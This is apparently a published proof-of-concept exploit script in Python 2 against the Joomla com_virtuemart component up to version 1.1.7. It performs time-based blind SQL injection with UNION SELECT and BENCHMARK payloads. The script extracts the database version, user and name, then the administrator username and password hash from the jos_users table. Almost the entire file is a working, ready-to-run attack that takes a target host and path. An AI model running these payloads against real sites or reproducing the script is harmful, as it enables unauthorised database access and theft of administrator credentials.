import sys, urllib, urllib2, re, time
from optparse import OptionParser
lower_value = 32
upper_value = 126
vuluri = "index.php?option=com_virtuemart&page%3d-1"
basicInfo = {'version':'@@version', 'user':'user()', 'name':'database()'}
usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="directory",
help="Directory path to the CMS")
(options, args) = parser.parse_args()
def banner():
print "\n\t| ------------------------------------------------------------------- |"
print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |"
print "\t| by mr_me - net-ninja.net ------------------------------------------ |\n"
if len(sys.argv) < 4:
banner()
parser.print_help()
sys.exit(1)
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def testProxy():
check = 1
sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
sys.stdout.flush()
try:
req = urllib2.Request("http://www.google.com/")
req.set_proxy(options.proxy,"http")
check = urllib2.urlopen(req)
except:
check = 0
pass
if check != 0:
sys.stdout.write("proxy is found to be working!\n")
sys.stdout.flush()
else:
print "proxy failed, exiting.."
sys.exit(1)
def getServerResponse(exploit):
try:
uri = "http://"+options.target+options.directory+exploit
request = urllib2.Request(uri)
if options.proxy:
request.set_proxy(options.proxy, "http")
start = time.time()
resp = urllib2.urlopen(request)
check = resp.read()
ttlb = time.time() - start
except urllib.error.HTTPError, error:
check = error.read()
except socket.error:
print "(-) Proxy connection failed"
sys.exit(1)
return check, ttlb
def getBasicDbInfo(basicInfo, key, limit):
for i in range(1,limit):
for j in range(lower_value,upper_value):
request = (vuluri + "'+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
% (basicInfo[key],str(i),str(j)))
try:
resp, ttlb = getServerResponse(request)
except:
print "\n(-) Exiting.."
sys.exit(1)
if ttlb >= 3.5:
sys.stdout.write("%s" % (chr(j)))
sys.stdout.flush()
break
def getJosUser(selectStmt, limit):
for i in range(1,limit):
for j in range(lower_value,upper_value):
request = (vuluri + "'+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
% (selectStmt,str(i),str(j)))
resp, ttlb = getServerResponse(request)
if ttlb >= 3.5:
sys.stdout.write("%s" % (chr(j)))
sys.stdout.flush()
break
def doBlindSqlInjection():
print "(+) Using time based SQL Injection."
print "(+) This will take time, go grab a coffee.."
for key in basicInfo:
sys.stdout.write("\n(!) Getting database %s: " % (key))
sys.stdout.flush()
for i in range(1,50):
request = (vuluri + "'+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
% (basicInfo[key],str(i)))
try:
resp, ttlb = getServerResponse(request)
except:
print "\n(-) Exiting.."
sys.exit(1)
if ttlb >= 3.5:
break
getBasicDbInfo(basicInfo, key, i+1)
sys.stdout.write("\n(!) Getting Joomla admin: ")
sys.stdout.flush()
for i in range(1,100):
lengthOfAdminString = "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)"
request = (vuluri + "'+union+select+if(%s=%s,BENCHMARK(5000000,MD5('x')),NULL)--+junk.page"
% (lengthOfAdminString,str(i)))
try:
resp, ttlb = getServerResponse(request)
except:
print "\n(-) Exiting.."
sys.exit(1)
if ttlb >= 3.5:
break
getJosStmt = "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)"
getJosUser(getJosStmt, i+1)
if __name__ == "__main__":
banner()
print "(+) PoC started on %s" % (timer())
print "(+) Exploiting target @: http://%s" % (options.target+options.directory)
if options.proxy:
testProxy()
doBlindSqlInjection()
print "\n(+) PoC finished on %s" % (timer())
